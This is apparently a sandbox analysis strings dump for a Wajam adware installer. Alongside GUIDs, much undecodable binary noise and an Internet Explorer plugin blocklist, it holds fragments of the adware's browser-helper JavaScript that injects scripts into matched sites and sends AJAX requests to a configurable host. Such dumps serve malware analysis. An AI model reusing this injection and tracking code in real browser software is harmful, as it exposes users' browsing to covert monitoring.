{3D644C9B-1FB8-4F30-9B45-F670235F79C0}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{56784854-C6CB-462B-8169-88E350ACB882}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{5D64294B-1341-4FE7-B6D8-7C36828D4DD5}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{<N!sfd?ij!lOuc)V0J(>l2+0`Sp[GgP

Ansi based on Dropped File (nsqE177.tmp)

{\*\generator Msftedit 5.41.21.2510;}\viewkind4\uc1\pard\lang1033\fs16 Facebook and Twitter user data is used by Wajam to give you personal results from friends based on what you search.\par

Ansi based on Dropped File (nsqE177.tmp)

{A7A6995D-6EE1-4FD1-A258-49395D5BF99C}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{D616A4A2-7B38-4DBC-9093-6FE7A4A21B17}

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

{DE92C1C7-837F-4F69-A3BB-86E631204A23}

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

{EA9AD54D-92A8-11E9-A897-0A00271310A2}

Unicode based on Runtime Data (iexplore.exe )

{K{PKGB%$META-INF/WajamsCOMODOCALimitedID.rsagXLJEZ &g! M*AM ,*Ql

Ansi based on Dropped File (nsqE177.tmp)

{m6zJ:MP$(sCmS<vB;hsUY5\w6dpq.2a+YQhu {L4'BqH9i?ks.<%@~<yBNe"` aGmY/>"tz,Q^

Ansi based on Dropped File (nsqE177.tmp)

{nx>"~;Q(@S`n"R-gw@"?MlxdiQ}tjVMSTo _<4Y!BFi='5uqP0N~Q'7Ya tbT58U\#4jG_

Ansi based on Dropped File (nsqE177.tmp)

{Software

Ansi based on Dropped File (nsqE177.tmp)

| ZigtvI3

Ansi based on Dropped File (nsqE177.tmp)

|%5(eDvU{?"T`/0NCQNq}7z|qM=kG+W(iRiGzXrTyT*\r=?_1mjxG[R^@;@bm.1Y4'1N

Ansi based on Dropped File (nsqE177.tmp)

|>_<uG^t^tNvW4&+8BcX,

Ansi based on Dropped File (nsqE177.tmp)

|eventName == priam.Config.event_name.update_mapping_list ||eventName == priam.Config.event_name.update_script ||eventName == 'callDestinationMethod' ||eventName == 'clear_mapping_list') {str += priam.Trace.add(method_name,'Event: '+eventName);// Developer Flag debug_show_eventsvar debug_show_events = prefs['debug_show_events'];if (debug_show_events == 'true') {priam.ext.show('(debug_show_events)\n'+'Event: \''+eventName+'\'');}}switch (eventName) {case priam.Config.event_name.ajax_call:str += priam.Trace.add( method_name,priam.Config.event_name.ajax_call+': '+siteObject['ajax_call']);if (siteObject['ajax_call'] === true) {priam.Events.onEventAjaxCall(event);}break;case priam.Config.event_name.justLoggedIn:str += priam.Trace.add( method_name,'justLoggedIn: '+siteObject['listener_login']);if (siteObject['listener_login'] === true) {priam.Even

Ansi based on Dropped File (priam_bho.dll.1505483275)

|FO_^[@PSVW1V<

Ansi based on Dropped File (nsqE177.tmp)

|h{.*M,x,A(mhDv\X0mncb

Ansi based on Dropped File (nsqE177.tmp)

|M-V6Z<Y;Z<Z<X:[=st~ryw:Pu!BgxUo;J?hb|[rzP1zKf%A/p;e.(qSXmHzQo``Umh:"&&#64Q<X;W=XA^'>9=9Q=d~P`C`oom

Ansi based on Dropped File (nsqE177.tmp)

|Mt_l!.9:.r9$rq^#^k`67R[b{Ezt8{)YuH>\ELq:n}6l1.0[*IC

Ansi based on Dropped File (nsqE177.tmp)

|Y3C]~uhFP0Au]Fe(}u^S0AFtS0A@}uj

Ansi based on Dropped File (nsqE177.tmp)

},getHost: function(use_https) {// Protocolvar protocol = ((use_https === true) || (use_https==='true')) ? 'https://' : 'http://';// Host overridevar define_host = priam.background.preferences.get('define_host');var has_define_

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

},priamSendAjaxRequest: function(params,no_trace,nb_try) {if (nb_try == undefined)nb_try = 1;if (no_trace == undefined)no_trace = false;var method_name = 'priamSendAjaxRequest';var str = '';try {str += 'url: ' + params['url'] + '\n';var request = window.priam_bho.newHttpRequest();//str += 'request: ' + request + '\n';str += 'after request\n';var async = false;if (params['async'] == undefined) async = true;request.open(params['method'], params['url'], async);str += 'after open\n';var headers = params['headers'];if (headers) {for (var header in headers) {request.setRequestHeader(header, headers[header]);}}str += 'after header\n';var onload = params['onload'];request.onreadystatechange = function() {if (request.readyState == 4) { if (request.status == 200) {if (onload) onload(request);}else {/*Error hand

Ansi based on Dropped File (priam_bho.dll.1505483275)

}-tP1<@0CIuK9uX^UWVSEG@EF@E@@ED@EE@EEuE}~EP'}rEPEa}E-spILg@u-u]twE;E~8g@]]+E[^_eg@g@g@g@dh@INFNANu0N}t-M1;M|0>t<E0BttEft0t11(efMIw+Mr1E]UJ\UrM0*1}t

Ansi based on Dropped File (nsqE177.tmp)

}6}v |v$|v(|v,|v0|v4|v|v8|v<|@v@|vD|vH|vL|vP|vT|vX|v\x|v`p|vdh|vh`|vlX|vpP|vtH|vx@|v|8|@*||||{{{{{{{{{{{{@w{l{a{V{K{@{5{*{{{{zzzzz@zzzzz z$z(wz,lz0az4Vz8Kz<@z@5zD*zHz@LzPzTyXy\y`y^]UVutY;AtPyYF;AtPyYF;AtPyYF0;AtPyYv4;5AtVoyY^]UVuF;AtPIyYF;AtP7yYF;AtP%yYF;AtPyYF;AtPyYF ;AtPxYF$;AtPxYF8;AtPxYF<;AtPxYF@;AtPxYFD;AtPxYFH;AtPxYvL;5AtVqxY^]Uf9ESVuM^muN3;uEHfwf Kjf9EsuIYEYt, URjURPQwEtE8]tMap^[Uj

Ansi based on Dropped File (nsqE177.tmp)

};priam.background.trace = {add: function(method_name,text) {try {var no_trace = priam.background.preferences.get('no_trace');if (no_trace !== 'true') {// Make sure debug info is enabledvar log_send_info = priam.background.preferences.get('log_send_info');if ( log_send_info === null || log_send_info === true || log_send_info === 'true') {// Make sure that we want to either log everything// If we don't, make sure it's an errorif ( !priam.background.preferences.get('log_info_only_error') || text.substr(0,14) == 'Error Message:') {var trace_log = priam.background.preferences.get('trace_log');if (trace_log === null) trace_log = ''; // on the first get, it returns null// Timestampvar currentTime = new Date();var timestamp = currentTime.getTime();// Add tracetrace_log += timestamp + ' - ' + method_name + ' - ' + text + '\n';priam.background.preferences.set('trace_

Ansi based on Dropped File (priam_bho.dll.1505483275)

}A`u.L3'+<>arQ2

Ansi based on Dropped File (nsqE177.tmp)

}Ar{7pLOoPKGBMf.content/priam.js=ks3'*EG=g6smjhHq~x.@l{<m$bXE0w(9u`JGoWNvoH

Ansi based on Dropped File (nsqE177.tmp)

}f9;u jEPhDA%(PuVS"$EEEu#YUj@uu0]USVW}t}tuu) 3_^[Mt39Ew}FM}tFEENt/Ft(;rWu6y3)~>+}O;]rOtV1Yu}}t3u+WuV1YP0ta;wM+;rP})EVP(YYt)EFKEEAEN +3uN EjhaA&39ut!9ut39u;up3<um!YuuuuuPEEEu!YUVuWufDFt8V0V6VP0P6yFtPfYf_^]jhaA?M3uu

Ansi based on Dropped File (nsqE177.tmp)

}MMUE;rE@#EP@Es+mNDFujEX,E }GMM9}E;r+mE@#MU+FmN<

Ansi based on Dropped File (nsqE177.tmp)

}o[UWeedfeR}*oYBycZi[^^`ceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeebo}eice^Jl

Ansi based on Dropped File (nsqE177.tmp)

}oj@u{uD)u$uIu90D)0$0IuL)O?0tV11CfS[^_]UVuEfsMf<sGf<sAfs:i6i`iEE5k@EEE^YY]LUSVWfEPEPmu

Ansi based on Dropped File (nsqE177.tmp)

}u!EtAD M#;u~Etxu0AjuEjPuE%Pu0A;u40APAD 6Y6AEUSSSSSjh(eAh3}3u;;uj^0Y39};t9}tE%@t}uuuuEP\EEE;t)3u9}t(9}tAD 6,YUjuuuuu!]U3SW9E]u3}tVuMExuA+;Ar

Ansi based on Dropped File (nsqE177.tmp)

}ueeVS0VuEBVW3S;Et53;t-EPEPEPWUultf!WK;f\u3VW|W;t EPEPEPEPW@t:EEVuP4@E }E

Ansi based on Dropped File (nsqE177.tmp)

}UjUv%GXI/&@!-OWJUdLI>G.

Ansi based on Dropped File (nsqE177.tmp)

}w8?qz: ]Vq]ju]FrY[feSPS2uCc[j;yyz,B6>>fZ-V5Zb}cMfr?n:?sr_pC'?

Ansi based on Dropped File (nsqE177.tmp)

}});}});}catch(e) {str += priam.Trace.add(method_name,'Error Message: ' + e.message );}priam.ext.debug(method_name,str);}var JSON;JSON={};(function(){function str(a,b){var c,d,e,f,g=gap,h,i=b[a];if(i&&typeof i==="object"&&typeof i.toJSON==="function"){i=i.toJSON(a);}if(typeof rep==="function"){i=rep.call(b,a,i);}switch(typeof i){case"string":return quote(i);case"number":return isFinite(i)?String(i):"null";case"boolean":case"null":return String(i);case"object":if(!i){return"null";}gap+=indent;h=[];if(Object.prototype.toString.apply(i)==="[object Array]"){f=i.length;for(c=0;c<f;c+=1){h[c]=str(c,i)||"null";}e=h.length===0?"[]":gap?"[\n"+gap+h.join(",\n"+gap)+"\n"+g+"]":"["+h.join(",")+"]";gap=g;return e;}if(rep&&typeof rep==="object"){f=rep.length;for(c=0;c<f;c+=1){if(typeof rep[c]==="string"){d=rep[c];e=str(d,i);if(e){h.push(quote(d)+(gap?": ":":")+e);}}}}else{for(d in i){if(Object.prototype.hasOwnProperty.call(i,d)){e=str(d,i);if(e){h.push(quote(d)+(gap?":

Ansi based on Dropped File (priam_bho.dll.1505483275)

}}str += priam.Trace.add(method_name,'Waiting for the document to complete before looking to iframe');checkDocumentComplete(_document);}else {str += 'Do not want to check for iframes for this site'+'\n';}}else {// if no pattern found, ignore this sitestr += priam.Trace.add(method_name,'Not a supported site:'+ url);}}catch(e) {priam.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);},processDOMLoad: function(_document) {var method_name = 'processDOMLoad';var str = '';try {var local_keys = ['mappingListJsonString','debug_show_dom_load','debug_reload_mapping_list','server_current_mapping_version','define_host','debug_reload_script','website_version','debug_show_inserted_scripts','mappingListJsonString','user_current_mapping_version','debug_priam_env','debug_show_inserted_scr

Ansi based on Dropped File (priam_bho.dll.1505483275)

}}}catch(f) {str += priam.background.trace.add(method_name,'Error Message: '+f.message);}}}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}},getFlagInfo: function() {var method_name = 'getFlagInfo';var str = '';try {// URL - Flagvar url = priam.background.url.getFlag();priam.background.util.download(url, function(url, code, content){if (code == 200) {priam.background.ext.onFlagInfoReceived(content);}});str += 'CALL: ' + url + '\n';}catch(e) {str += priam.background.trace.add(method_name,'Error Message: '+e.message);}priam.background.ext.debug(method_name,str);},readUniqueId: function() {return priam.background.browser.preferences.readUniqueId();},readAffiliateId: function() {return priam.background.browser.preferences.readAffiliateId();},readNoTrace: function() {

Ansi based on Dropped File (priam_bho.dll.1505483275)

~'9]q9E@VJSOZQkt/

Ansi based on Dropped File (nsqE177.tmp)

~333u%t%uu^_[3B:t6t:t't:tt:tt^_B[B^_[B^_[B^_[%x1AUQSEEddE]mc[XY$UQQSVWd5uEAjuuuE@MAd=];d_^[USVWE3PPPuuuuu- E_^[E]UVuN3?jVvvjuvu ^]U8S}#u5AM3@eEaADAM3EEEEEEEE EeeeemdEEdEEEEE,EEPE0UYYe}td]dEdE[UQSEH3M>E@ftE@$3@ljjEpEpEpjuEpu Ex$uuujjjjjEPh#E]ck 3@[UQSVW}GwE+uw]MNkE9H};H~uM]u}}EF0E;_w;v4]kE_^[UEVuF^]U

Ansi based on Dropped File (nsqE177.tmp)

~7NZNF,E{!RRH#65 0r$[!Pm^TY8

Ansi based on Dropped File (nsqE177.tmp)

~>G}?1w:-fFZj

Ansi based on Dropped File (nsqE177.tmp)

~RG]Zx5_!EOf!:r:jzv;BdK*T?jN@5iodjro{=Q1f}EoP37%Xv`|'}T.n''e`W#VJ}oL6T@@5.p?PKGB8content/firefoxOverlay.xulMo0C?d7Y5MML*N

Ansi based on Dropped File (nsqE177.tmp)

~VS;tE<uiuW^Wh@

Ansi based on Dropped File (nsqE177.tmp)

~wzJ R(C3~+j bh,4x74DcZ=.%ZO9HqC+u1T.\X;/>BHya30hvoF^uN`tPdf<iHiQI2}8.r-O0>fA\2E

Ansi based on Dropped File (nsqE177.tmp)

~zy.4KQU|+\[qa$n8RE#rgt>vFG&i}gCy\xi3P<!)CC

Ansi based on Dropped File (nsqE177.tmp)

Ã¯Â»Â¿<?xml version="1.0" encoding="utf-8"?><blocklist version="27" ttlHigh="50" ttlLow="1251635200"> <blocklistentries> <blocklistentry key="{dbc80044-a445-435b-bc74-9c25c1c588a9}" entrytype="2" /> <blocklistentry key="{e19f9331-3110-11d4-991c-005004d3b3db}" entrytype="2" /> <blocklistentry key="{8ad9c840-044e-11d1-b3e9-00805f499d93}" entrytype="2" /> <blocklistentry key="{761497bb-d6f0-462c-b6eb-d4daf1d92d43}" entrytype="2" /> <blocklistentry key="{5852f5ed-8bf4-11d4-a245-0080c6f74284}" entrytype="2" /> <blocklistentry key="{CAFEEFAC-*}" entrytype="2" /> <blocklistentry key="javaws.exe" entrytype="1" /> <blocklistentry key="jp2launcher.exe" entrytype="1" /> <blocklistentry key="ssvagent.exe" entrytype="1" /> <blocklistentry key="unpack200.exe" entrytype="1" /> <blocklistentry key="{dfeaf541-f3e1-4c24-acac-99c30715084a}" entrytype="2" /> <blocklistentry key="agcp.exe" entrytype="1" /> <blocklistentry key="Silverlight.Configuration.exe" entrytype="1" /> </blocklistentries> <groupentries> <groupentry groupname="Java(TM)" fwdlink="https://go.microsoft.com/fwlink/?LinkID=401352" /> <groupentry groupname="Java(TM) 1.4" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Java(TM) 1.5" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Java(TM) 1.6" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Java(TM) 1.7" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Java(TM) 1.8" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Java(TM) 9" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Silverlight 5" fwdlink="http://" latestgroup="1" /> <groupentry groupname="Silverlight" fwdlink="https://go.microsoft.com/fwlink/?LinkID=513071" /> </groupentries> <blocklistfullentries> <blocklistentry key="{dbc80044-a445-435b-bc74-9c25c1c588a9}" entrytype="2"> <versionentries numberofelements="5"> <versionentry groupname="Java(TM) 9" filename="jp2ssv.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="jp2ssv.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="jp2ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="jp2ssv.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{e19f9331-3110-11d4-991c-005004d3b3db}" entrytype="2"> <versionentries numberofelements="8"> <versionentry groupname="Java(TM) 9" filename="jp2iexp.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="jp2iexp.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="jp2iexp.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="jp2iexp.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="ssv.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="ssv.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{8ad9c840-044e-11d1-b3e9-00805f499d93}" entrytype="2"> <versionentries numberofelements="10"> <versionentry groupname="Java(TM) 9" filename="jp2iexp.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="jp2iexp.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="jp2iexp.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="jp2iexp.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="ssv.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="npjpi*.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="npjpi*.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.4" filename="npjpi*.dll" productversion="1.4.2.430-1.4.65535.65535" fileversion="1.4.2.430-1.4.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{761497bb-d6f0-462c-b6eb-d4daf1d92d43}" entrytype="2"> <versionentries numberofelements="5"> <versionentry groupname="Java(TM) 1.8" filename="ssv.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="ssv.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="ssv.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{5852f5ed-8bf4-11d4-a245-0080c6f74284}" entrytype="2"> <versionentries numberofelements="7"> <versionentry groupname="Java(TM) 9" filename="wsdetect.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="9.0.4-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="wsdetect.dll" productversion="11.161.0.0-65535.65535.65535.65535" fileversion="8.0.1610.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="wsdetect.dll" productversion="10.171.0.0-10.65535.65535.65535" fileversion="7.0.1710.0-7.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="wsdetect.dll" productversion="1.6.0.0-1.6.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="JavaWebStart.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.4" filename="JavaWebStart.dll" productversion="1.4.2.430-1.4.65535.65535" fileversion="1.4.2.430-1.4.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{CAFEEFAC-*}" entrytype="2"> <versionentries numberofelements="17"> <versionentry groupname="Java(TM) 9" filename="deployJava1.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 9" filename="jp2iexp.dll" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="deployJava1.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="jp2iexp.dll" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="deployJava1.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="jp2iexp.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="ssv.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="npjpi*.dll" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="deployJava1.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="deploytk.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="jp2iexp.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="ssv.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="npjpi*.dll" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="ssv.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="npjpi*.dll" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.4" filename="npjpi*.dll" productversion="1.4.2.430-1.4.65535.65535" fileversion="1.4.2.430-1.4.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="javaws.exe" entrytype="1"> <versionentries numberofelements="5"> <versionentry groupname="Java(TM) 9" filename="javaws.exe" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="javaws.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="javaws.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="javaws.exe" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="jp2launcher.exe" entrytype="1"> <versionentries numberofelements="4"> <versionentry groupname="Java(TM) 1.8" filename="jp2launcher.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="jp2launcher.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="jp2launcher.exe" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="ssvagent.exe" entrytype="1"> <versionentries numberofelements="6"> <versionentry groupname="Java(TM) 9" filename="ssvagent.exe" productversion="9.0.4-65535.65535.65535.65535" fileversion="12.0.4.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.8" filename="ssvagent.exe" productversion="8.0.1610.0-65535.65535.65535.65535" fileversion="11.161.0.0-65535.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.7" filename="ssvagent.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="ssvagent.exe" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.5" filename="ssvagent.exe" productversion="5.0.990.0-5.65535.65535.65535" fileversion="5.0.990.0-5.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="unpack200.exe" entrytype="1"> <versionentries numberofelements="3"> <versionentry groupname="Java(TM) 1.7" filename="unpack200.exe" productversion="7.0.1710.0-7.65535.65535.65535" fileversion="10.171.0.0-10.65535.65535.65535" /> <versionentry groupname="Java(TM) 1.6" filename="unpack200.exe" productversion="6.0.1810.0-6.65535.65535.65535" fileversion="6.0.1810.0-6.65535.65535.65535" /> <versionentry groupname="Java(TM)" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="{dfeaf541-f3e1-4c24-acac-99c30715084a}" entrytype="2"> <versionentries numberofelements="2"> <versionentry groupname="Silverlight 5" filename="npctrl.dll" productversion="5.1.50907.0-65535.65535.65535.65535" fileversion="5.1.50907.0-65535.65535.65535.65535" /> <versionentry groupname="Silverlight" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="agcp.exe" entrytype="1"> <versionentries numberofelements="2"> <versionentry groupname="Silverlight 5" filename="agcp.exe" productversion="5.1.50907.0-65535.65535.65535.65535" fileversion="5.1.50907.0-65535.65535.65535.65535" /> <versionentry groupname="Silverlight" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> <blocklistentry key="Silverlight.Configuration.exe" entrytype="1"> <versionentries numberofelements="2"> <versionentry groupname="Silverlight 5" filename="Silverlight.Configuration.exe" productversion="5.1.50907.0-65535.65535.65535.65535" fileversion="5.1.50907.0-65535.65535.65535.65535" /> <versionentry groupname="Silverlight" filename="*" productversion="*" fileversion="*" /> </versionentries> </blocklistentry> </blocklistfullentries></blocklist>